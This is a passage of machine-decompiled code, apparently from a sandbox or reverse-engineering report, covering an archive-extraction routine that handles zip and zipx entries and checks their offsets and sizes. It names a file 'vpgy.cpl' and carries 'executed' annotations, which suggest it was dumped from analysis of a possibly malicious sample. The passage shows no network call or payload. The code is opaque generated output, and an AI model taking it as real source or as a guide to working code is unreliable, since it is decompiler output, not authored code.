								 *0x8ad5b8 =  *((intOrPtr*)( *((intOrPtr*)( *_t720 + 0x14))))();
								 *0x8ad5bc = _t702;
								E0086A67C(_t702,  *0x8ad574, 0x2000,  *((intOrPtr*)(_t774 - 0x48)),  *(_t774 - 0x44), _t607);
								 *(_t774 + 0x20) =  *(_t774 + 0x20) + 1;
								__eflags =  *(_t774 + 0x68);
								_t741 =  *(_t774 + 0x74);
								 *0x8ad578 =  *((intOrPtr*)(_t774 - 0x10));
								 *0x8ad580 =  *(_t774 - 0x18);
								 *0x8ad584 =  *(_t774 - 0x20);
								if( *(_t774 + 0x68) != 0) {
									goto L238;
								}
								goto L1;
							} else {
								_t636 =  *(_t774 + 0x20) << 6;
								__eflags = _t636;
								 *(_t774 - 0x40) = _t636;
								while(1) {
									 *(_t774 + 0x44) = _t636 + _t379;
									 *0x89d568 = _t379 * 0x48 +  *((intOrPtr*)(_t774 - 0x80));
									_t392 = E00866A20(_t774 - 0x140);
									__eflags =  *0x8ae80c;
									_t746 =  *0x89d568; // 0x2e1e9a0
									 *((intOrPtr*)(_t774 + 0x3c)) = _t392;
									if( *0x8ae80c != 0) {
										_t685 =  *(_t746 + 0x20);
										__eflags = _t685 -  *0x8ae810; // 0xffffffff
										if(__eflags != 0) {
											__eflags = _t685 - ( *0x8ad630 & 0x0000ffff);
											if(__eflags != 0) {
												E008680E5(__eflags, 0x8bceda, 0x800, _t685);
											} else {
												_t526 = E008680AB(0x8bceda);
												__eflags = _t526;
												_t527 = L"zipx";
												if(_t526 == 0) {
													_t527 = L"zip";
												}
												E008638FD(0x8bceda, _t527, 0x800);
											}
											_t519 =  *0x89d568; // 0x2e1e9a0
											 *0x8ae810 =  *(_t519 + 0x20);
											_t521 =  *0x8ad598; // 0x0
											__eflags = _t521;
											if(__eflags != 0) {
												 *0x88822c(1);
												_t685 =  *0x8ad598; // 0x0
												 *((intOrPtr*)( *((intOrPtr*)( *_t521))))();
											}
											 *0x8ad598 = _t607;
											E0086A127(_t685, _t702, __eflags);
											_t746 =  *0x89d568; // 0x2e1e9a0
										}
									}
									_t747 =  *(_t746 + 4);
									asm("adc esi, [0x8ad5c4]");
									 *(_t774 + 0xc) =  *_t746 +  *0x8ad5c0;
									 *(_t774 + 0x64) = E00873EA0( *_t746 +  *0x8ad5c0, _t747, 0x2000, _t607);
									_t396 =  *(_t774 + 0xc);
									_t640 = _t396 -  *(_t774 + 0x64);
									 *(_t774 + 0x6c) = _t747;
									asm("sbb [ebp+0x6c], edx");
									__eflags = _t747 - _t607;
									if(__eflags > 0) {
										goto L89;
									}
									L79:
									if(__eflags < 0) {
										L81:
										E008616EF(0x8b2b44, 0x8bceda);
										__eflags =  *(_t774 + 0x44);
										_t724 = 2;
										 *(_t774 + 0x74) = _t724;
										if( *(_t774 + 0x44) != 0) {
											L87:
											_t724 = 3;
											L88:
											 *(_t774 + 0x74) = _t724;
											L193:
											_t379 =  *(_t774 + 0x38) + 1;
											 *(_t774 + 0x38) = _t379;
											__eflags = _t379 -  *((intOrPtr*)(_t774 + 0x54));
											if(_t379 >=  *((intOrPtr*)(_t774 + 0x54))) {
												goto L150;
											}
											_t636 =  *(_t774 - 0x40);
											 *(_t774 + 0x44) = _t636 + _t379;
											 *0x89d568 = _t379 * 0x48 +  *((intOrPtr*)(_t774 - 0x80));
											_t392 = E00866A20(_t774 - 0x140);
											__eflags =  *0x8ae80c;
											_t746 =  *0x89d568; // 0x2e1e9a0
											 *((intOrPtr*)(_t774 + 0x3c)) = _t392;
											if( *0x8ae80c != 0) {
												_t685 =  *(_t746 + 0x20);
												__eflags = _t685 -  *0x8ae810; // 0xffffffff
												if(__eflags != 0) {
													__eflags = _t685 - ( *0x8ad630 & 0x0000ffff);
													if(__eflags != 0) {
														E008680E5(__eflags, 0x8bceda, 0x800, _t685);
													} else {
														_t526 = E008680AB(0x8bceda);
														__eflags = _t526;
														_t527 = L"zipx";
														if(_t526 == 0) {
															_t527 = L"zip";
														}
														E008638FD(0x8bceda, _t527, 0x800);
													}
													_t519 =  *0x89d568; // 0x2e1e9a0
													 *0x8ae810 =  *(_t519 + 0x20);
													_t521 =  *0x8ad598; // 0x0
													__eflags = _t521;
													if(__eflags != 0) {
														 *0x88822c(1);
														_t685 =  *0x8ad598; // 0x0
														 *((intOrPtr*)( *((intOrPtr*)( *_t521))))();
													}
													 *0x8ad598 = _t607;
													E0086A127(_t685, _t702, __eflags);
													_t746 =  *0x89d568; // 0x2e1e9a0
												}
											}
											_t747 =  *(_t746 + 4);
											asm("adc esi, [0x8ad5c4]");
											 *(_t774 + 0xc) =  *_t746 +  *0x8ad5c0;
											 *(_t774 + 0x64) = E00873EA0( *_t746 +  *0x8ad5c0, _t747, 0x2000, _t607);
											_t396 =  *(_t774 + 0xc);
											_t640 = _t396 -  *(_t774 + 0x64);
											 *(_t774 + 0x6c) = _t747;
											asm("sbb [ebp+0x6c], edx");
											__eflags = _t747 - _t607;
											if(__eflags > 0) {
												goto L89;
											}
										}
										_t682 =  *0x8ad5c0; // 0x0
										_t702 =  *0x8ad5c4; // 0x0
										__eflags = _t682 | _t702;
										if((_t682 | _t702) == 0) {
											goto L87;
										}
										_t515 =  *0x89d568; // 0x2e1e9a0
										 *0x8ad5c0 = _t607;
										 *0x8ad5c4 = _t607;
										_t770 =  *(_t515 + 4);
										 *(_t774 + 0x10) = _t682;
										 *(_t774 + 0x34) = _t702;
										 *((intOrPtr*)(_t774 + 0x5c)) =  *_t515;
										_t516 = E00873EA0( *_t515, _t770, 0x2000, _t607);
										_t640 =  *((intOrPtr*)(_t774 + 0x5c)) - _t516;
										 *(_t774 + 0x64) = _t516;
										_t397 = _t770;
										asm("sbb eax, edx");
										 *(_t774 + 0x6c) = _t397;
										__eflags = _t770 - _t607;
										if(__eflags > 0) {
											L90:
											__eflags = _t640 -  *0x8ad5b8; // 0x160000
											if(__eflags != 0) {
												L94:
												_t721 =  *0x8ad598; // 0x0
												 *0x88822c();
												 *((intOrPtr*)( *((intOrPtr*)( *_t721 + 0x10))))();
												_t722 =  *0x8ad598; // 0x0
												 *0x88822c();
												_t403 =  *((intOrPtr*)( *((intOrPtr*)( *_t722 + 0x14))))(); // executed
												 *0x8ad5b8 = _t403;
												 *0x8ad5bc = _t702;
												_t404 = E0086A67C(_t702,  *0x8ad574, 0x2000, _t640,  *(_t774 + 0x6c), _t607);
												asm("cdq");
												_t750 = _t702;
												_t645 = _t404;
												 *0x8ad580 = _t645;
												 *0x8ad584 = _t750;
												__eflags = _t750 - _t607;
												if(__eflags > 0) {
													L97:
													_t405 =  *0x8ad574; // 0x0
													 *0x8ad578 = _t405 +  *(_t774 + 0x64);
													asm("cdq");
													_t646 = _t645 -  *(_t774 + 0x64);
													__eflags = _t646;
													 *0x8ad580 = _t646;
													asm("sbb esi, edx");
													 *0x8ad584 = _t750;
													L98:
													_t408 = E0086A265(0x89d560, 4);
													__eflags = _t408;
													if(_t408 == 0) {
														L86:
														E008616EF(0x8b2b44, 0x8bceda);
														goto L87;
													}
													_t411 = E00869B2C(0x89d560);
													__eflags = _t411;
													if(_t411 != 0) {
														L109:
														_t752 = E0086CCE1(_t646);
														__eflags = _t752;
														if(_t752 == 0) {
															_push(_t607);
															_push(0x8ad5d2);
															 *0x8ad684 = 0;
															_push(2);
															_push( *0x8ad5f0 & 0x0000ffff);
															_t415 = E00869E61(_t702);
															__eflags = _t415;
															if(_t415 == 0) {
																L116:
																_t416 =  *0x8ad5c8; // 0x0
																__eflags = _t416;
																if(_t416 != 0) {
																	L008787AE(_t416);
																	 *0x8ad5c8 = _t607;
																}
																_push(_t607);
																_push(_t607);
																_push(3);
																_push( *0x8ad5f2 & 0x0000ffff);
																_t418 = E00869E61(_t702);
																__eflags = _t418;
																if(_t418 == 0) {
																	L122:
																	E0086C773(_t702,  *0x8ad5c8,  *0x8ad5f2 & 0x0000ffff, 1);
																	_push(0x3000);
																	_t423 = E00869943( *0x8ad5c8,  *0x8ad5f2 & 0x0000ffff,  *0x8ae684, _t774 - 0x549c);
																	__eflags = _t423;
																	if(_t423 != 0) {
																		E0086E1C9(_t702, _t774 - 0x549c, 0x8ad684, 0x800);
																		E00863967(0x8ad684, 0x8ad684, 0x800);
																	}
																	_t703 =  *0x89d568; // 0x2e1e9a0
																	_push(0x8ae698);
																	_push(0x8ae690);
																	_push(0x8ae688);
																	 *0x8ae688 =  *((intOrPtr*)(_t703 + 0x28));
																	 *0x8ae68c =  *((intOrPtr*)(_t703 + 0x2c));
																	 *0x8ae690 =  *((intOrPtr*)(_t703 + 0x30));
																	 *0x8ae694 =  *((intOrPtr*)(_t703 + 0x34));
																	 *0x8ae698 =  *((intOrPtr*)(_t703 + 0x38));
																	_push( *0x8ad5f2 & 0x0000ffff);
																	_push( *0x8ad5c8);
																	 *0x8ae69c =  *((intOrPtr*)(_t703 + 0x3c));
																	E008697D5();
																	E008699D9( *0x8ad5c8,  *0x8ad5f2 & 0x0000ffff, 0x8ad5d4);
																	E008668CD(0x8ad684,  *((intOrPtr*)(_t774 + 0x3c)), 0x800);
																	_t651 =  *0x89d568; // 0x2e1e9a0
																	_t163 = _t651 + 0x24; // 0x2e1e9c4
																	_t433 = E0086E205(__eflags, 0x8ad684,  *((intOrPtr*)(_t651 + 0x1c)),  *((intOrPtr*)(_t651 + 0x10)),  *((intOrPtr*)(_t651 + 0x14)), _t163);
																	__eflags =  *0x8ad684;
																	 *(_t774 + 0x73) = _t433;
																	if( *0x8ad684 == 0) {
																		L131:
																		_push(0x800);
																		_push(0x8ad684);
																		_push(0x8ad684);
																		E0086324B(_t607);
																		__eflags =  *(_t774 + 0x73);
																		if( *(_t774 + 0x73) == 0) {
																			_t704 =  *0x89d538; // 0x0
																		} else {
																			_t704 = _t607;
																		}
																		_t705 =  *(_t774 + 4);
																		 *((intOrPtr*)(_t774 + 0x5c)) = ( *0x8ad5f0 & 0x0000ffff) + ( *0x8ad5f2 & 0x0000ffff) + 0x1e + _t704;
																		asm("adc ecx, esi");
																		 *(_t774 + 0x60) = 0;
																		_t655 =  *0x89d568; // 0x2e1e9a0
																		__eflags = (_t705 &  *(_t774 + 0x24)) - 0xffffffff;
																		if((_t705 &  *(_t774 + 0x24)) == 0xffffffff) {
																			L186:
																			_t755 =  *_t655;
																			_t440 =  *((intOrPtr*)(_t774 + 0x5c));
																			_t726 =  *(_t655 + 4);
																			_t702 =  *(_t774 + 0x60);
																			 *((intOrPtr*)(_t774 + 0x58)) = _t755;
																			 *((intOrPtr*)(_t774 + 0x2c)) = _t440;
																			_t656 =  *0x8b9dc1;
																			 *(_t774 + 0x4c) = _t726;
																			asm("adc edi, edx");
																			 *(_t774 + 0x28) = _t702;
																			 *(_t774 + 4) = _t755 + _t440;
																			 *(_t774 + 0x24) = _t726;
																			 *((intOrPtr*)(_t774 - 0x3c)) =  *((intOrPtr*)(_t655 + 0x20));
																			__eflags = _t656;
																			if(_t656 == 0) {
																				L188:
																				_t442 = _t607;
																				L189:
																				__eflags = _t656;
																				_t445 = L008678F8(_t656, 0x8ad684, (_t442 & 0xffffff00 | _t656 == 0x00000000) & 0x000000ff, _t442, _t607); // executed
																				__eflags = _t445;
																				if(_t445 == 0) {
																					goto L150;
																				}
																				__eflags =  *0x8b9dc1;
																				if( *0x8b9dc1 == 0) {
																					__eflags =  *(_t774 + 0x73);
																					_t757 = _t607;
																					if(__eflags == 0) {
																						_t446 = E00869C9C(__eflags, 0x8ad684); // executed
																						__eflags = _t446 - 0xffffffff;
																						if(_t446 == 0xffffffff) {
																							__eflags =  *0x8b9d1b;
																							if( *0x8b9d1b != 0) {
																								L192:
																								_t724 =  *(_t774 + 0x74);
																								goto L193;
																							}
																							L222:
																							__eflags = _t757;
																							if(_t757 == 0) {
																								L225:
																								_t447 =  *0x89d568; // 0x2e1e9a0
																								__eflags =  *(_t447 + 0x40) & 0x00000001;
																								if(__eflags == 0) {
																									L234:
																									_t448 = E008692F0(_t702, 0x8ad684);
																									_t724 =  *(_t774 + 0x74);
																									__eflags = _t448;
																									if(_t448 == 0) {
																										goto L193;
																									}
																									__eflags = _t448 - _t724;
																									if(_t448 <= _t724) {
																										goto L193;
																									}
																									_t724 = _t448;
																									goto L88;
																								}
																								_t657 = E0086D12F(_t702, __eflags);
																								__eflags = _t657;
																								if(_t657 == 0) {
																									goto L234;
																								}
																								__eflags = _t657 - 9;
																								if(_t657 == 9) {
																									E008616BA(_t774 - 0x18c, 2);
																									E0086737C(_t774 - 0x18c);
																									_t741 =  *(_t774 + 0x74);
																									_t607 = 1;
																									goto L238;
																								}
																								__eflags = _t657 - 0xc;
																								if(__eflags != 0) {
																									__eflags = _t657 -  *(_t774 + 0x74);
																									if(__eflags > 0) {
																										 *(_t774 + 0x74) = _t657;
																									}
																									_push(0x1c);
																								} else {
																									 *(_t774 + 0x18) =  *(_t774 + 0x18) + 1;
																									_push(6);
																								}
																								_pop(_t452);
																								E00861663(__eflags, _t452, 0x8bceda, 0x8ad684);
																								goto L192;
																							}
																							L223:
																							_push(_t607);
																							_t454 = E0086776A(0x8b2bc0, 0x8ad684, 0x800,  *0x89d540,  *0x89d544, 0x8ae688);
																							__eflags = _t454 - 6;
																							if(_t454 == 6) {
																								goto L149;
																							}
																							__eflags = _t454 - 1;
																							if(_t454 == 1) {
																								goto L192;
																							}
																							goto L225;
																						}
																						__eflags = _t446;
																						if(_t446 == 0) {
																							_t455 =  *0x8b9cf4;
																							__eflags = _t455 - 2;
																							if(_t455 == 2) {
																								goto L192;
																							}
																							__eflags = _t455;
																							if(_t455 == 0) {
																								L220:
																								_t757 = 1;
																								goto L222;
																							}
																							__eflags = _t455 - 3;
																							if(_t455 != 3) {
																								goto L225;
																							}
																							goto L220;
																						}
																						__eflags = _t446 - 1;
																						if(_t446 != 1) {
																							goto L225;
																						}
																						_t456 =  *0x8b9cf4;
																						__eflags = _t456 - 2;
																						if(_t456 == 2) {
																							goto L192;
																						}
																						__eflags =  *0x8b9d1c;
																						if( *0x8b9d1c != 0) {
																							goto L192;
																						}
																						__eflags =  *0x8b9d1b;
																						if( *0x8b9d1b != 0) {
																							goto L192;
																						}
																						__eflags = _t456;
																						if(_t456 == 0) {
																							goto L223;
																						}
																						__eflags = _t456 - 3;
																						if(_t456 != 3) {
																							goto L225;
																						}
																						goto L223;
																					}
																					__eflags =  *0x8b9d1b;
																					if( *0x8b9d1b != 0) {
																						goto L192;
																					}
																					__eflags =  *0x8ad684 - _t757; // 0x76
																					if(__eflags == 0) {
																						goto L192;
																					}
																					__eflags =  *0x8b9d20 - 1;
																					if( *0x8b9d20 == 1) {
																						goto L192;
																					}
																					_t457 =  *0x89d568; // 0x2e1e9a0
																					__eflags =  *((intOrPtr*)(_t457 + 0x1c)) - _t757;
																					if( *((intOrPtr*)(_t457 + 0x1c)) == _t757) {
																						L201:
																						_t757 =  *(_t457 + 0x24);
																						L202:
																						_t458 = E00862680(0x8ad684);
																						__eflags = _t458;
																						if(_t458 != 0) {
																							L207:
																							E008669E4(_t774 - 0xe0, _t702, 0x8ad684);
																							_push( *0x8ae68c);
																							E00868147(_t774 - 0x38, _t702,  *0x8ae688);
																							_push( *0x8ae69c);
																							E00868147(_t774 - 0x38, _t702,  *0x8ae698);
																							_push( *0x8ae694);
																							E00868147(_t774 - 0x38, _t702,  *0x8ae690);
																							goto L192;
																						}
																						__eflags =  *0x8b9d68 - _t458;
																						_t465 = E00862710( *0x8b9d68 - _t458, 0x8ad684, (_t458 & 0xffffff00 |  *0x8b9d68 == _t458) & 0x000000ff, _t757);
																						__eflags = _t465;
																						if(_t465 == 0) {
																							L206:
																							 *0x89d558 =  *0x89d558 + 1;
																							__eflags =  *0x89d558;
																							goto L207;
																						}
																						_t467 = E00862551(_t607, _t656, 0x8ad684, _t774, 0x8ad684, 1,  *0x8b9d0b & 0x000000ff);
																						__eflags =  *0x8b9d68;
																						__eflags = E00862710( *0x8b9d68, 0x8ad684, (_t467 & 0xffffff00 |  *0x8b9d68 == 0x00000000) & 0x000000ff, _t757);
																						if(__eflags == 0) {
																							goto L206;
																						}
																						E00861663(__eflags, 0x14, 0x8bceda, 0x8ad684);
																						E0086193C(0x8b2b44, __eflags);
																						goto L192;
																					}
																					__eflags =  *((intOrPtr*)(_t457 + 0x1c)) - 0xb;
																					if( *((intOrPtr*)(_t457 + 0x1c)) != 0xb) {
																						goto L202;
																					}
																					goto L201;
																				}
																				__eflags =  *(_t774 + 0x73);
																				if( *(_t774 + 0x73) == 0) {
																					goto L225;
																				}
																				goto L192;
																			}
																			_t473 = 0x49;
																			__eflags =  *0x8bbeba - _t473;
																			_t442 = 1;
																			if( *0x8bbeba != _t473) {
																				goto L189;
																			}
																			goto L188;
																		} else {
																			__eflags =  *((intOrPtr*)(_t774 - 0x3c)) -  *((intOrPtr*)(_t655 + 0x20));
																			if( *((intOrPtr*)(_t774 - 0x3c)) !=  *((intOrPtr*)(_t655 + 0x20))) {
																				goto L186;
																			}
																			_t728 =  *(_t655 + 4);
																			_t475 =  *(_t774 + 0x24);
																			_t759 =  *_t655;
																			 *((intOrPtr*)(_t774 + 0x3c)) = _t759;
																			 *(_t774 + 0x64) = _t728;
																			__eflags = _t728 - _t475;
																			if(__eflags > 0) {
																				goto L186;
																			}
																			if(__eflags < 0) {
																				L139:
																				_t706 = _t705 - _t759;
																				__eflags = _t706;
																				asm("sbb eax, edi");
																				 *(_t774 + 0xc) = _t475;
																				if(__eflags < 0) {
																					goto L186;
																				}
																				if(__eflags > 0) {
																					L142:
																					_t476 =  *((intOrPtr*)(_t774 + 0x5c));
																					 *(_t774 - 0x60) =  *(_t774 + 0x60);
																					_t666 =  *((intOrPtr*)(_t774 + 0x58));
																					 *((intOrPtr*)(_t774 - 0x6c)) = _t759;
																					 *(_t774 - 0x68) = _t728;
																					 *((intOrPtr*)(_t774 - 0x64)) = _t476;
																					__eflags =  *(_t774 + 0x4c) - _t728;
																					if(__eflags > 0) {
																						L152:
																						_t702 =  *((intOrPtr*)(_t774 + 0x2c)) + _t666;
																						_t667 =  *(_t774 + 0x28);
																						asm("adc ecx, [ebp+0x4c]");
																						L153:
																						_t730 = _t759 + _t476;
																						 *(_t774 + 0xc) = _t730;
																						asm("adc eax, [ebp+0x60]");
																						_t760 = _t759 +  *((intOrPtr*)(_t774 + 0x5c));
																						 *(_t774 + 0x6c) =  *(_t774 + 0x64);
																						asm("adc eax, [ebp+0x60]");
																						__eflags =  *(_t774 + 0x4c) -  *(_t774 + 0x64);
																						if(__eflags > 0) {
																							L160:
																							_t479 =  *(_t774 + 0x6c);
																							L161:
																							_t731 =  *(_t774 - 0x58);
																							_t761 = _t607;
																							 *(_t774 + 0x30) = _t761;
																							__eflags = _t731;
																							if(_t731 == 0) {
																								L178:
																								_t668 =  *(_t774 + 0x48);
																								_t732 = _t731 + 1;
																								 *(_t774 - 0x58) = _t732;
																								__eflags = _t732 - _t668;
																								if(_t732 <= _t668) {
																									_t762 =  *(_t774 + 0x50);
																								} else {
																									_t670 = _t668 + 0x20 + (_t668 >> 2);
																									 *(_t774 + 0x48) = _t670;
																									__eflags = _t732 - _t670;
																									if(_t732 > _t670) {
																										_t670 = _t732;
																										 *(_t774 + 0x48) = _t670;
																									}
																									_push(_t670 << 4);
																									_push( *(_t774 + 0x50));
																									_t762 = L0087AA36(_t670 << 4, _t702);
																									 *(_t774 + 0x50) = _t762;
																									__eflags = _t762;
																									if(_t762 == 0) {
																										E0086180A(0x8b2b44);
																									}
																									 *(_t774 - 0x5c) = _t762;
																									 *(_t774 - 0x54) =  *(_t774 + 0x48);
																								}
																								_t243 = _t762 - 0x10; // -16
																								__eflags = _t243 + (_t732 << 4);
																								asm("movsd");
																								asm("movsd");
																								asm("movsd");
																								asm("movsd");
																								_t655 =  *0x89d568; // 0x2e1e9a0
																								goto L186;
																							}
																							_t676 =  *(_t774 + 0x50) + 8;
																							__eflags = _t676;
																							do {
																								_t735 =  *((intOrPtr*)(_t676 - 4));
																								_t702 =  *(_t676 - 8);
																								__eflags = _t735 -  *(_t774 + 0x64);
																								if(__eflags > 0) {
																									L170:
																									__eflags = _t735 - _t479;
																									if(__eflags > 0) {
																										goto L177;
																									}
																									if(__eflags < 0) {
																										L173:
																										_t702 = _t702 +  *_t676;
																										asm("adc eax, edi");
																										__eflags =  *((intOrPtr*)(_t676 + 4)) -  *(_t774 + 0x6c);
																										if(__eflags > 0) {
																											L148:
																											E00861663(__eflags, 0x1c, 0x8bceda, "vpgy.cpl");
																											_t489 = 3;
																											 *(_t774 + 0x74) = _t489;
																											L149:
																											 *(_t774 + 0x68) = 1;
																											goto L150;
																										}
																										if(__eflags < 0) {
																											L176:
																											_t479 =  *(_t774 + 0x6c);
																											goto L177;
																										}
																										__eflags = _t702 -  *(_t774 + 0xc);
																										if(__eflags >= 0) {
																											goto L148;
																										}
																										goto L176;
																									}
																									__eflags = _t702 -  *(_t774 + 0xc);
																									if(_t702 >=  *(_t774 + 0xc)) {
																										goto L177;
																									}
																									goto L173;
																								}
																								if(__eflags < 0) {
																									L166:
																									_t765 = _t702 +  *_t676;
																									asm("adc eax, edi");
																									__eflags =  *((intOrPtr*)(_t676 + 4)) -  *(_t774 + 0x64);
																									if(__eflags > 0) {
																										goto L148;
																									}
																									if(__eflags < 0) {
																										L169:
																										_t479 =  *(_t774 + 0x6c);
																										_t761 =  *(_t774 + 0x30);
																										goto L170;
																									}
																									__eflags = _t765 -  *((intOrPtr*)(_t774 + 0x3c));
																									if(__eflags > 0) {
																										goto L148;
																									}
																									goto L169;
																								}
																								__eflags = _t702 -  *((intOrPtr*)(_t774 + 0x3c));
																								if(_t702 >  *((intOrPtr*)(_t774 + 0x3c))) {
																									goto L170;
																								}
																								goto L166;
																								L177:
																								_t731 =  *(_t774 - 0x58);
																								_t761 = _t761 + 1;
																								_t676 = _t676 + 0x10;
																								 *(_t774 + 0x30) = _t761;
																								__eflags = _t761 - _t731;
																							} while (_t761 < _t731);
																							goto L178;
																						}
																						if(__eflags < 0) {
																							L156:
																							_t479 =  *(_t774 + 0x6c);
																							__eflags = _t667 - _t479;
																							if(__eflags > 0) {
																								goto L148;
																							}
																							if(__eflags < 0) {
																								goto L161;
																							}
																							__eflags = _t702 - _t730;
																							if(__eflags >= 0) {
																								goto L148;
																							}
																							goto L161;
																						}
																						__eflags =  *((intOrPtr*)(_t774 + 0x58)) - _t760;
																						if( *((intOrPtr*)(_t774 + 0x58)) >= _t760) {
																							goto L160;
																						}
																						goto L156;
																					}
																					if(__eflags < 0) {
																						L145:
																						_t667 =  *(_t774 + 0x4c);
																						_t702 = _t666 +  *((intOrPtr*)(_t774 + 0x2c));
																						asm("adc ecx, [ebp+0x28]");
																						__eflags = _t667 - _t728;
																						if(__eflags > 0) {
																							goto L148;
																						}
																						if(__eflags < 0) {
																							goto L153;
																						}
																						__eflags = _t702 - _t759;
																						if(__eflags <= 0) {
																							goto L153;
																						}
																						goto L148;
																					}
																					__eflags = _t666 - _t759;
																					if(_t666 > _t759) {
																						goto L152;
																					}
																					goto L145;
																				}
																				__eflags = _t706 - 0x200;
																				if(_t706 <= 0x200) {
																					goto L186;
																				}
																				goto L142;
																			}
																			__eflags = _t759 - _t705;
																			if(_t759 >= _t705) {
																				goto L186;
																			}
																			goto L139;
																		}
																	} else {
																		__eflags =  *0x8ad686;
																		if( *0x8ad686 == 0) {
																			goto L131;
																		}
																		_t491 =  *0x8ad688 & 0x0000ffff;
																		_t677 = 0x8ad688;
																		__eflags = _t491;
																		if(_t491 == 0) {
																			goto L131;
																		}
																		_t709 = _t491;
																		do {
																			__eflags = _t709 - 0x3a;
																			if(_t709 == 0x3a) {
																				_t493 = 0x5f;
																				 *_t677 = _t493;
																			}
																			_t677 =  &(_t677[1]);
																			_t492 =  *_t677 & 0x0000ffff;
																			_t709 = _t492;
																			__eflags = _t492;
																		} while (_t492 != 0);
																		goto L131;
																	}
																} else {
																	__eflags = _t418 - _t724;
																	if(_t418 > _t724) {
																		_t724 = _t418;
																		 *(_t774 + 0x74) = _t724;
																	}
																	__eflags = _t418 - 1;
																	if(__eflags > 0) {
																		L115:
																		E00861663(__eflags, 0x1c, 0x8bceda, "vpgy.cpl");
																		goto L193;
																	} else {
																		goto L122;
																	}
																}
															}
															__eflags = _t415 - _t724;
															if(_t415 > _t724) {
																_t724 = _t415;
																 *(_t774 + 0x74) = _t724;
															}
															__eflags = _t415 - 1;
															if(__eflags <= 0) {
																goto L116;
															} else {
																goto L115;
															}
														}
														E008616EF(0x8b2b44, 0x8bceda);
														_t724 = _t752;
														goto L88;
													}
													__eflags =  *(_t774 + 0x44);
													_t702 =  *0x8ad5c4; // 0x0
													_t646 =  *0x8ad5c0; // 0x0
													if( *(_t774 + 0x44) != 0) {
														L103:
														__eflags = _t646 | _t702;
														if((_t646 | _t702) != 0) {
															goto L86;
														}
														_t767 =  *(_t774 + 0x10);
														_t646 =  *(_t774 + 0x34);
														__eflags = _t767 | _t646;
														if((_t767 | _t646) == 0) {
															goto L86;
														}
														 *0x8ad5c0 = _t767;
														 *0x8ad5c4 = _t646;
														L106:
														_t502 =  *0x89d568; // 0x2e1e9a0
														_push( *((intOrPtr*)(_t502 + 4)));
														_t503 = E0086A4A5(_t702,  *_t502);
														__eflags = _t503;
														if(_t503 != 0) {
															goto L86;
														}
														_t504 = E0086A265(0x89d560, 4);
														__eflags = _t504;
														if(_t504 == 0) {
															goto L86;
														}
														_t505 = E00869B2C(0x89d560);
														__eflags = _t505;
														if(_t505 == 0) {
															goto L86;
														}
														goto L109;
													}
													__eflags = _t646 | _t702;
													if((_t646 | _t702) == 0) {
														goto L103;
													}
													 *(_t774 + 0x10) = _t646;
													 *(_t774 + 0x34) = _t702;
													 *0x8ad5c0 = _t607;
													 *0x8ad5c4 = _t607;
													goto L106;
												}
												if(__eflags < 0) {
													goto L86;
												}
												__eflags = _t645 - _t607;
												if(_t645 <= _t607) {
													goto L86;
												}
												goto L97;
											}
											__eflags = _t397 -  *0x8ad5bc; // 0x0
											if(__eflags != 0) {
												goto L94;
											}
											__eflags =  *0x8ae80c;
											if( *0x8ae80c != 0) {
												goto L94;
											}
											_t508 =  *0x8ad578; // 0x2e0c461
											_t769 =  *(_t774 + 0x64);
											_t646 =  *0x8ad574; // 0x0
											asm("cdq");
											 *0x8ad580 =  *0x8ad580 + _t508 - _t769 - _t646;
											asm("adc [0x8ad584], edx");
											 *0x8ad578 = _t769 + _t646;
											goto L98;
										}
										if(__eflags < 0) {
											goto L86;
										}
										__eflags =  *((intOrPtr*)(_t774 + 0x5c)) - _t607;
										if( *((intOrPtr*)(_t774 + 0x5c)) >= _t607) {
											goto L90;
										}
										goto L86;
									}
									__eflags = _t396 - _t607;
									if(_t396 >= _t607) {
										goto L89;
									}
									goto L81;
									L89:
									_t397 =  *(_t774 + 0x6c);
									goto L90;
								}
							}
						}
						if(E00869AC0(0x89d560) == 0) {
							_t613 =  *0x8ad640; // 0x1
							__eflags = ( *(_t774 + 0x14) ^ _t613) & 0x0000ffff | _t607;
							if((( *(_t774 + 0x14) ^ _t613) & 0x0000ffff | _t607) == 0) {
								L66:
								_t545 = E00869B08(0x89d560);
								__eflags = _t545;
								if(_t545 != 0) {
									L70:
									 *(_t774 + 0x1c) = _t607;
									L71:
									_t724 =  *(_t774 + 0x74);
									goto L72;
								}
								__eflags =  *0x8ae814 - _t545; // 0x0
								if(__eflags == 0) {
									L69:
									 *(_t774 + 0x1c) = 1;
									goto L71;
								}
								_t546 = E00869AE4(0x89d560);
								__eflags = _t546;
								if(_t546 != 0) {
									goto L70;
								}
								goto L69;
							}
							__eflags = _t613 - 0xffff;
							if(_t613 != 0xffff) {
								L63:
								_t613 = 0x8b2b44;
								E008616EF(0x8b2b44, 0x8bceda);
								_push(3);
								goto L64;
							}
							__eflags =  *0x8ad644 - _t607; // 0x0
							if(__eflags == 0) {
								goto L66;
							}
							goto L63;
						}
						_t548 = E0086CB6F(_t613);
						if(_t548 != 0) {
							_t718 = _t548;
							goto L65;
						}
						 *0x8ad684 = _t548;
						_push( *0x8ad5f9 & 0x000000ff);
						_push(0x8ad5fc);
						_push(2);
						_push( *0x8ad618 & 0x0000ffff);
						_t551 = E00869E61(_t702);
						if(_t551 == 0) {
							L14:
							_push(_t607);
							_push(_t607);
							_push(3);
							_push( *0x8ad61a & 0x0000ffff);
							_t553 = E00869E61(_t702);
							if(_t553 == 0) {
								L18:
								E0086C773(_t702,  *0x8ad5c8,  *0x8ad61a & 0x0000ffff, _t607);
								E008699D9( *0x8ad5c8,  *0x8ad61a & 0x0000ffff, 0x8ad5fe);
								_push(_t607);
								_push(_t607);
								_push(_t607);
								_push( *0x8ad61c & 0x0000ffff);
								_t559 = E00869E61(_t702);
								if(_t559 == 0) {
									L22:
									_push(0x3000);
									if(E00869943( *0x8ad5c8,  *0x8ad61a & 0x0000ffff,  *0x8ae684, _t774 - 0x549c) != 0) {
										E0086E1C9(_t702, _t774 - 0x549c, 0x8ad684, 0x800);
										E00863967(0x8ad684, 0x8ad684, 0x800);
									}
									E0086718C(( *0x8ad602 & 0x0000ffff) << 0x00000010 |  *0x8ad600 & 0x0000ffff);
									_t565 =  *0x89d568; // 0x2e1e9a0
									 *(_t565 + 0x30) = _t607;
									 *(_t565 + 0x34) = _t607;
									_t566 =  *0x89d568; // 0x2e1e9a0
									 *(_t566 + 0x38) = _t607;
									 *(_t566 + 0x3c) = _t607;
									_t693 =  *0x89d568; // 0x2e1e9a0
									_t56 = _t693 + 0x38; // 0x2e1e9d8
									_t57 = _t693 + 0x30; // 0x2e1e9d0
									_t58 = _t693 + 0x28; // 0x2e1e9c8
									_push( *0x8ad61a & 0x0000ffff);
									_push( *0x8ad5c8);
